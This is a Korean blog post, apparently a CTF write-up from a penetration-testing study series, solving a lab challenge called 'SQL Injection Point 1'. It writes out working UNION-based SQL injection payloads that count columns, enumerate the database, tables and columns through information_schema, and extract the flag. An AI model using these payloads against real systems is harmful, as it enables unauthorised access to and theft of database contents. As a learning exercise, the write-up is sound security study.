SQL Injection Point 문제이다 1 ~ 4번 문제까지 있지만 풀이 방식이 비슷하여 1번 문제만 풀어보겠다.
게시판을 조회하면 내가 작성한 글만 나오는걸 알 수 있다.
1. SQL 로직 확인
SELECT * FROM TABLE WHERE UserId LIKE '%검색어%'
위에 구문으로 되어있을 것으로 예상된다.
2. SQL Injection Point
SQL Injection이 가능한지 알아보기 위해 " username# "을 실행해보면
내가 작성한 게시물 외에 다른 게시물도 출력된다. 이를 통해 SQL Injection이 가능함을 알 수 있다.
3. 컬럼 개수 확인
숨겨진 데이터를 찾기 위해 데이터 베이스의 전체 정보를 조회해야 하는데 그러기 위해선 컬럼 개수가 파악이 되어야 한다.
username order by 10 # 까지 조회되는 것으로 보아 컬럼개수는 10개임을 알 수 있다.
4. 출력되는 컬럼 위치 확인
출력되는 데이터를 직접 볼 수 있는 컬럼을 파악해야 한다.
username union select 1, 2,3,4,5,6,7,8,9,10 #
1 ~ 4 까지 출력되는 것으로 보아 1 ~ 4 까지의 컬럼 중 사용하면 된다.
5. DB 명 확인
username union select 1, database(),3,4,5,6,7,8,9,10 #
6. Table 명 확인
username union select 1,table_name,table_schema,4,5,6,7,8,9,10 from information_schema.tables order by 3 desc #
총 3개의 테이블이 나온다.
7. Column 명 확인
username union select 1,column_name,table_name,4,5,6,7,8,9,10 from information_schema.columns #
위에 처럼 나오는 걸 볼 수 있다.
8. Data 확인
username union select 1,flag,3,4,5,6,7,8,9,10 from flag_table #
플래그 값을 확인해 볼 수 있다.
728x90
반응형
'모의해킹 > 모의해킹 스터디' 카테고리의 다른 글
모의해킹 스터디 9주차 정리 (0) | 2025.01.08 |
---|---|
모의해킹 스터디 8주차 정리 (0) | 2024.12.10 |
모의해킹 스터디 CTF 문제 - SQL Injection 5 (0) | 2024.12.10 |
모의해킹 스터디 CTF 문제 - SQL Injection 4 (0) | 2024.12.06 |
모의해킹 스터디 CTF 문제 - SQL Injection 3 (0) | 2024.12.04 |